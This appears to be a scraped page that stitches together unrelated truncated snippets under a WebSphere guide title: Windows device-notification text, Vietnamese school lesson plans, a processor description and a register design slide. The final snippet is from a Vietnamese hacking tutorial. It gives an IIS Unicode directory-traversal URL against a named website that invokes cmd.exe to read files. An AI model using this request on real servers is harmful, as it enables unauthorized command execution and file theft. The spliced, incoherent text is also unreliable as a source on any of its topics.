WEBSPHERE STUDIO APPLICATION DEVELOPER VERSION 5 PROGRAMMING GUIDE PART 32 PPT

Chapter 10266 to receive notifications about a device interface class, and classguid is the GUIDof the device interface class (myGuid in the example).When the WM_DEVICECHANGE messages are no longer of interest, theapplication should call UnregisterDeviceNotification as described later in thischapter[r]

-HS nhận xét.3-Củng cố, dặn dò: -HS nhắc lại 3 tác dụng của dấu phẩy.-GV nhận xét giờ học. Dặn HS về nhà học bài và chuẩn bị bài sau.Tiết 2: Chính tả (nhớ viết)5$32: Bầm ơiLuyện tập viết hoaI/ Mục tiêu:-Nhớ - viết đúng chính tả 14 dòng thơ đầu của bài Bầm ơi.-Tiếp tục luyện viết hoa đ[r]

in efficient 100 TQFP and 144 MAPBGA packages, the MC68EZ328delivers cost-effective performance to satisfy the extensive require-ments of today’s portable consumer market. A number of the Visorhandspring PDAs utilize the Dragonball processors. Figure 1.7 is theblock diagram of the MC68EZ328.Most PDA[r]

MỤC TIẤU: - ễn tập củng cố kiến thức và kĩ năng tớnh chu vi, diện tớch một số hỡnh đó học hỡnh vuụng, hỡnh chữ nhật, hỡnh tam giỏc, hỡnh bỡnh hành, hỡnh thang, hỡnh thoi, hỡnh trũn II.. [r]

Tuần 32Thứ hai ngày 19 tháng 4 năm 2010Tập đọcút Vịnh Tô PhơngI/ Mục tiêu:1- Đọc lu loát, diễn cảm bài văn.2- Hiểu ý nghĩa của truyện : Ca ngợi út Vịnh có ý thức của một chủ nhân tơng lai, thực hiện tốt nhiệm vụ giữ gìn an toàn đờng sắt, dũng cảm cứu em nhỏ.II/ Ph ơng pháp:- Trực quan; Thực h[r]

- Giáo viên hướng dẫn học sinh đánh dấu ngắt nhịp, nhấn giọng đoạn thơ sau: “Cha ơi! / …- …Để con đi…// ”.- Giáo viên đọc mẫu đoạn thơ. Hoạt động 4: Củng cố.- u cầu 2 học sinh nêu lại ý nghĩa của bài thơ.- Giáo viên nhận xét, khen ngợi những học sinh hiểu bài thơ, đọc hay.dặn dò: - u cầu học sinh về[r]

-Nhận xét: Nêu cách tìm tỉ số phần trăm.3 : Củng cố, dặn dò : 1-2’- Yêu cầu Hs nhắc lại cách thực hiện phép chia số tự nhiên, số thập phân, phân số: cách tìm tỉ số phần trăm của 2 số. ĐẠo đức : DÀNH CHO ĐỊA PHƯƠNG ( 3 TIẾT )Đạo đức : THỰC HÀNH CUỐI NĂM I.Mục tiêu: Giúp học sinh:- Củng cố kiến thứcđ[r]

a) Giới thiệu bài:b) Hướng dẫn học sinh làm bài tập:Bài tập 1: Có thể đặt dấu chấm hay dấu phẩy vàonhững chỗ nào ở hai bức thư trong mẩu chuyện SGK - 2 học sinh - Nêu yêu cầu128- Gọi 1 học sinh đọc bức thư đầu và trả lời: Bức thưđầu là của ai? (Là của anh chàng đang tập viết văn)- Gọi 1 học sinh đọc[r]

-Chiều cao?-Chiều ngang?-Hình dáng?-Màu sắc, độ đậm nhạt?-Lọ, hoa, quả, -Quả ở trước, lọ hoa phíasau -Lọ hoa cao hơn quả -Lọ hoa lớn hơn quả -Lọ hoa có hình trụ, quả cóhình cầu -Quả màu đỏ, lọ hoa màunâu, màu của quả đậm hơnmàu của lọ hoa.-HS -Tranh tĩnh vật là tranh vẽcác vật ở trạng thái tĩnh.Hoạt[r]

- HS luyện đọc theo hớng dẫn của GV, lớp theo dõi và nhận - Tổ chức thi đọc diễn cảm đoạn : Thấy lạ, Vịnh nhìn ra đờng tàu gang tấc.- GV và HS cùng nhận xét đánh giá và bình chọn. 3. Củng cố, dặn dò.- Hãy nêu nội dung ý nghĩa của bài.- Qua câu chuyện trên, em thích nhân vật nào nhất ? Vì sao ? Liên[r]

câu hỏi cuối bài ở trang 132 SGK.- Điều gì sẽ xảy ra nếu con người khai thác tài nguyên thiên nhiên một cách bừa bãi và thải ra môi trường nhiều chất độc hại?Hoạt động 3: GDSDNLTK&HQ : Tác động của con người đối với TNTN và MT.4. Tổng kết - dặn dò: - Chuẩn bò: “Tác động của con người đến môi[r]

- GV treo bảng phụ yêu cầu HS đọc nội dung bài tập 1.- HS làm vào phiếu bài tập theo nhóm 4.- Đại diện nhóm trình bày kết quả, nhóm khác nhận xét, bổ sung.- GV nhận xét kết luận.- HS yếu đọc lại những ý đúng KL: Chúng ta cần phải giúp đỡ những ngời gặp hoàn cảnh khó khăn .3/ Hoạt động nối tiếp. - Yê[r]

Nội dung slide là thiết kế register 32 bits với yêu cầu là:
Đầu vào : 1 tín hiệu điều khiển ghi enable write 1 bit ; 1 tín hiệu register write 5 bit ; 2 tín hiệu register read 5 bit ,1 đầu vào dữ liệu write data 32 bit.
Đầu ra: 2 dữ liệu read data 32 bit;
Read: Có thể đọc 2 register.
Không cần tín h[r]

TP C: T VNHNgy son: / /Ngy ging: / / I. Mục tiêu:- Biết đọc diễn cảm đợc một đoạn văn hoặc toàn bộ bài văn.- Hiểu nội dung: Ca ngợi tấm gơng giữ gìn an toàn giao thông đờng sắt và hànhđộng dũng cảm cứu em nhỏ của út Vịnh. (Trả lời đợc các câu hỏi trong SGK).II. Đồ dùng dạy học: - Tranh minh hoạ chủ[r]

2814659000-001003.c32hehe..bạn có biết đó là cái gì không ? nếu không biết cũng không sao, làm tiếp sẽ biết.Bước 5 : Copy 1 dòng bất kỳ rồi dán vào cuối link:vd:http://www.connectionsmall.com/scripts/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+type+c:\progra~1\m[r]